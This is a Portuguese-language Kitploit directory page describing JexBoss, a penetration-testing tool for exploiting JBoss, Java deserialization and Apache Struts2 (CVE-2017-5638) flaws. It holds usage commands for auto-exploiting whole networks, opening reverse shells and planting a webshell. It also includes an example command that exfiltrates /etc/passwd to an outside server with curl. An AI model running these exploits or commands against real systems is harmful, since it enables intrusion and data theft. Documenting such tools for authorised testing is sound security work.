Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
jexboss — JexBoss: Ferramenta de verificação e EXploração do Jboss (e vulnerabilidades de desserialização Java) | Kitploit
Ferramentas/GitHubGitHub/joaomatosf/jexboss
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubjoaomatosf/jexboss

jexboss

JexBoss: Ferramenta de verificação e EXploração do Jboss (e vulnerabilidades de desserialização Java)

Ver Repositório
2.5k6408há 9 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

JexBoss - JBoss (e outras Vulnerabilidades de Desserialização Java) ferramenta de verificação e exploração

JexBoss é uma ferramenta para testar e explorar vulnerabilidades no JBoss Application Server e outras plataformas Java, frameworks, aplicativos, etc.

Requisitos

  • Python >= 2.7.x
  • urllib3
  • ipaddress

Instalação no Linux\Mac

Para instalar a versão mais recente do JexBoss, utilize os seguintes comandos:

root@kitploit:~
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

OU:

Baixe a versão mais recente em: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

Se você estiver usando CentOS com Python 2.6, instale o Python 2.7. Exemplo de instalação do Python 2.7 no CentOS usando Collections Software scl:

root@kitploit:~
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Instalação no Windows

Se você estiver usando Windows, pode usar o Git Bash para executar o JexBoss. Siga os passos abaixo:

  • Baixe e instale o Python
  • Baixe e instale o Git for Windows
  • Após a instalação, execute o Git for Windows e digite os seguintes comandos:
root@kitploit:~
    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

Recursos

A ferramenta e os exploits foram desenvolvidos e testados para:

  • Versões do JBoss Application Server: 3, 4, 5 e 6.
  • Vulnerabilidades de Desserialização Java em múltiplos frameworks, plataformas e aplicações Java (ex.: Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)

Os vetores de exploração são:

  • /admin-console
    • testado e funcionando nas versões 5 e 6 do JBoss
  • /jmx-console
    • testado e funcionando nas versões 4, 5 e 6 do JBoss
  • /web-console/Invoker
    • testado e funcionando nas versões 4, 5 e 6 do JBoss
  • /invoker/JMXInvokerServlet
    • testado e funcionando nas versões 4, 5 e 6 do JBoss
  • Desserialização de Aplicação
    • testado e funcionando contra múltiplas aplicações e plataformas Java, etc., através de parâmetros HTTP POST
  • Desserialização de Servlet
    • testado e funcionando contra múltiplas aplicações e plataformas Java, etc., através de servlets que processam objetos serializados (ex.: ao ver um "Invoker" em um link)
  • Apache Struts2 CVE-2017-5638
    • testado em aplicações Apache Struts 2
  • Outros

Vídeos

  • Explorando Vulnerabilidades de Desserialização Java (RCE) em Aplicações JSF/Seam via javax.faces.ViewState com JexBoss

Alt text

  • Explorando o JBoss Application Server com JexBoss

Alt text

  • Explorando Apache Struts2 (RCE) com Jexboss (CVE-2017-5638)

Alt text

Capturas de Tela

  • Exemplos de uso simples:
root@kitploit:~
$ python jexboss.py

alt tag

  • Exemplo de modo autônomo contra o JBoss:
root@kitploit:~
$ python jexboss.py -u http://192.168.0.26:8080

alt tag alt tag

  • Modos de uso:
root@kitploit:~
$ python jexboss.py -h
  • Modo de varredura de rede:
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

alt tag

  • Modo de varredura de rede com auto-exploração:
root@kitploit:~
$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

alt tag

  • Resultados e recomendações:

alt tag

Reverse Shell (integração meterpreter)

Após explorar um servidor JBoss, você pode usar o próprio shell de comando do jexboss ou realizar uma conexão reversa usando o seguinte comando:

root@kitploit:~
   jexremote=SEU_IP:SUA_PORTA

   Exemplo:
     Shell>jexremote=192.168.0.10:4444
  • Exemplo: alt tag

Ao explorar vulnerabilidades de desserialização Java (Desserialização de Aplicação, Desserialização de Servlet), as opções padrão são: fazer uma conexão de reverse shell ou enviar um comando para executar.

Exemplos de uso

  • Para Vulnerabilidades de Desserialização Java em um parâmetro HTTP personalizado e enviar um comando personalizado para ser executado no servidor explorado:
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
  • Para Vulnerabilidades de Desserialização Java em um parâmetro HTTP personalizado e fazer uma reverse shell (isso pedirá o endereço IP e porta do host remoto):
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
  • Para Vulnerabilidades de Desserialização Java em um Servlet (como Invoker):
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
  • Para Apache Struts 2 (CVE-2017-5638)
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
  • Para Apache Struts 2 (CVE-2017-5638) com cookies para recursos autenticados
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
  • Modo de varredura automática:
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
  • Modo de varredura por arquivo:
root@kitploit:~
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
  • Mais Opções:
root@kitploit:~
optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit
  --auto-exploit, -A    Send exploit code automatically (USE ONLY IF YOU HAVE
                        PERMISSION!!!)
  --disable-check-updates, -D
                        Disable two updates checks: 1) Check for updates
                        performed by the webshell in exploited server at
                        http://webshell.jexboss.net/jsp_version.txt and 2)
                        check for updates performed by the jexboss client at
                        http://joaomatosf.com/rnp/releases.txt
  -mode {standalone,auto-scan,file-scan}
                        Operation mode (DEFAULT: standalone)
  --app-unserialize, -j
                        Check for java unserialization vulnerabilities in HTTP
                        parameters (eg. javax.faces.ViewState, oldFormData,
                        etc)
  --servlet-unserialize, -l
                        Check for java unserialization vulnerabilities in
                        Servlets (like Invoker interfaces)
  --jboss               Check only for JBOSS vectors.
  --jenkins             Check only for Jenkins CLI vector.
  --jmxtomcat           Check JMX JmxRemoteLifecycleListener in Tomcat
                        (CVE-2016-8735 and CVE-2016-8735). OBS: Will not be
                        checked by default.
  --proxy PROXY, -P PROXY
                        Use a http proxy to connect to the target URL (eg. -P
                        http://192.168.0.1:3128)
  --proxy-cred LOGIN:PASS, -L LOGIN:PASS
                        Proxy authentication credentials (eg -L name:password)
  --jboss-login LOGIN:PASS, -J LOGIN:PASS
                        JBoss login and password for exploit admin-console in
                        JBoss 5 and JBoss 6 (default: admin:admin)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 3)

Standalone mode:
  -host HOST, -u HOST   Host address to be checked (eg. -u
                        http://192.168.0.10:8080)

Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER):
  --reverse-host RHOST:RPORT, -r RHOST:RPORT
                        Remote host address and port for reverse shell when
                        exploiting Java Deserialization Vulnerabilities in
                        application layer (for now, working only against *nix
                        systems)(eg. 192.168.0.10:1331)
  --cmd CMD, -x CMD     Send specific command to run on target (eg. curl -d
                        @/etc/passwd http://your_server)
  --windows, -w         Specifies that the commands are for rWINDOWS System$
                        (cmd.exe)
  --post-parameter PARAMETER, -H PARAMETER
                        Specify the parameter to find and inject serialized
                        objects into it. (egs. -H javax.faces.ViewState or -H
                        oldFormData (<- Hi PayPal =X) or others) (DEFAULT:
                        javax.faces.ViewState)
  --show-payload, -t    Print the generated payload.
  --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                        Specify the type of Gadget to generate the payload
                        automatically. (DEFAULT: commons-collections3.1 or
                        groovy1 for JenKins)
  --load-gadget FILENAME
                        Provide your own gadget from file (a java serialized
                        object in RAW mode)
  --force, -F           Force send java serialized gadgets to URL informed in
                        -u parameter. This will send the payload in multiple
                        formats (eg. RAW, GZIPED and BASE64) and with
                        different Content-Types.

Auto scan mode:
  -network NETWORK      Network to be checked in CIDR format (eg. 10.0.0.0/8)
  -ports PORTS          List of ports separated by commas to be checked for
                        each host (eg. 8080,8443,8888,80,443)
  -results FILENAME     File name to store the auto scan results

File scan mode:
  -file FILENAME_HOSTS  Filename with host list to be scanned (one host per
                        line)
  -out FILENAME_RESULTS
                        File name to store the file scan results

Dúvidas, problemas, sugestões, etc:

  • [email protected]
Baixar ferramenta